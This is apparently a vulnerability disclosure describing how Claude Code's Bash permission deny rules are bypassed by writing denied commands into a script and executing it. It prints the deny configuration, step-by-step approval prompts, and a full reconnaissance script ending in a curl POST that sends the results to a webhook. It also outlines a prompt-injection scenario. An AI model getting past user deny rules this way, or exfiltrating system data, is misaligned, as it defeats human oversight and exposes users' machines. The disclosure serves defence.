Introduction
This is a finding from my ongoing Claude Code security research. Claude Code’s Bash tool permission parser can be bypassed entirely by writing denied commands into a script file using the Write tool, then executing the script with the Bash tool. The parser evaluates only the top-level command (the script path) and does not inspect the script’s contents. Every command-level deny rule is rendered ineffective.
This was tested against Claude Code v2.1.108 on Kali Linux.
Product: Claude Code CLI v2.1.108
CWE: CWE-863 (Incorrect Authorization), CWE-451 (User Interface Misrepresentation of Critical Information)
GitHub: claude-code-deny-bypass-script-exec
Background
Claude Code provides a permission system that allows users to define allow and deny rules for specific tools and commands. These rules are configured in .claude/settings.local.json within a project directory. The /permissions interface displays deny rules under a tab that reads:
“Claude Code will always reject requests to use denied tools.”
The Bash tool’s permission parser is designed to evaluate commands before execution. It catches denied commands invoked directly, and it also catches denied commands embedded in shell syntax constructs like command substitution ($(whoami) inside echo), find -exec, and semicolon-chained commands. The parser uses a tree-sitter AST for this analysis.
The parser does not, however, inspect the contents of script files passed as arguments to the Bash tool.
Setup
The test environment used the following deny configuration in .claude/settings.local.json:
{
"permissions": {
"allow": [
"Bash(ls:*)",
"Bash(echo:*)",
"Bash(cat:*)",
"Bash(find:*)"
],
"deny": [
"Bash(curl:*)",
"Bash(whoami:*)",
"Bash(id:*)",
"Bash(ss:*)",
"Bash(netstat:*)"
]
}
}
Four commands are allowed (ls, echo, cat, find). Five commands are explicitly denied (curl, whoami, id, ss, netstat).
Claude Code v2.1.108, confirmed at the start of the session:
Step 1: Confirm Deny Rules Are Active
Running /permissions and navigating to the Deny tab shows all five deny rules loaded and active. The UI states “Claude Code will always reject requests to use denied tools.”
Step 2: Baseline, Direct Invocation Correctly Denied
Asking Claude to run id directly produces a hard denial:
Error: Permission to use Bash with command id has been denied.
This confirms the deny rules function correctly for direct command invocations.
Step 3: Write the Script
Asking Claude to write a shell script containing the denied commands triggers the Write tool. Claude creates audit.sh with whoami (line 4), id (line 7), groups (line 10), ss -tulnp (line 13), and netstat -tulnp (line 16). The Write tool is not governed by Bash deny rules because it is a separate tool. The user approves a file creation.
Step 4: Execute the Script
Claude executes the script via the Bash tool. The approval prompt the user sees:
Bash command
/home/kali/Desktop/cc-test-project/audit.sh
Run updated audit script with webhook POST
This command requires approval
Do you want to proceed?
No mention of whoami, id, ss, netstat, or curl anywhere in the prompt. The parser sees only the script path. The user approves a script execution, not any denied command.
All denied commands execute successfully. The output shows username kali, full UID/GID and group memberships (including sudo and docker), and listening TCP ports.
Step 5: Exfiltration via Denied curl
The script was then updated to include curl (also denied) posting the collected data to an external webhook endpoint. The update adds four lines: a curl -s -X POST with the results file as the payload body.
The external webhook received all data from the denied commands:
The exfiltrated payload contained: the current username, full UID/GID and all group memberships, all listening TCP and UDP sockets, and active network connections.
Step 6: Deny Rules Were Active the Entire Time
After the bypass, running /permissions confirms all five deny rules remained active throughout the session. The rules were never removed, overridden, or weakened. They were simply never evaluated against the commands inside the script.
The Script
The final contents of audit.sh, shown via !cat audit.sh:
#!/bin/bash
{
echo "=== whoami ==="
whoami
echo
echo "=== id ==="
id
echo
echo "=== groups ==="
groups
echo
echo "=== ss -tulnp ==="
ss -tulnp
echo
echo "=== netstat -tulnp ==="
netstat -tulnp
} > results.txt 2>&1
curl -s -X POST \
-H "Content-Type: text/plain" \
--data-binary @results.txt \
https://webhook.site/[REDACTED]
Every command in this script is either in the deny list (whoami, id, ss, netstat, curl) or executes freely because it was never evaluated by the permission system.
Root Cause
The Bash tool permission system parses the command string passed to each Bash tool invocation. When the command is a script path (/path/to/script.sh or bash script.sh), the parser treats the script path as the command identifier. It does not open or parse the script file to inspect what commands it contains.
The Write tool, which creates the script, is a separate tool not subject to Bash deny rules. This creates a two-step bypass path: Write (unrestricted) creates a file containing denied commands, then Execute (parser blind to file contents) runs them all.
The parser demonstrates awareness of embedded command execution in other contexts. It catches command substitution ($(whoami) inside echo), find -exec, semicolon-chained commands, and piped commands. The gap is specifically in script file content inspection.
Impact
The deny rule system is the mechanism by which users restrict what Claude Code can execute on their system. This bypass renders all command-level deny rules ineffective. Any denied command can be executed by writing it to a file first.
The indirect prompt injection scenario is the most concerning application. An attacker who can influence Claude’s behavior through a malicious CLAUDE.md, a file with hidden instructions, or MCP tool output injection can direct Claude to write a data collection and exfiltration script and then execute it. The user’s deny rules, configured specifically to prevent this class of attack, are completely bypassed. The approval prompt shows a script path, not the denied operations inside it. The user has no way to know that denied commands will run.
Prior Art
This finding follows the same pattern as previously accepted Claude Code security advisories:
- GHSA-xq4m-mc3c-vvg3: Parser failed to detect command execution via
$IFSand short CLI flags. Accepted because the parser should have caught the embedded execution. - GHSA-x5gv-jw7f-j6xj: Overly broad allowlist enabled file read and network exfiltration without confirmation. Accepted for the same impact demonstrated here.
Contact
Jashid Sany
- GitHub: github.com/jashidsany
- Web: jashidsany.com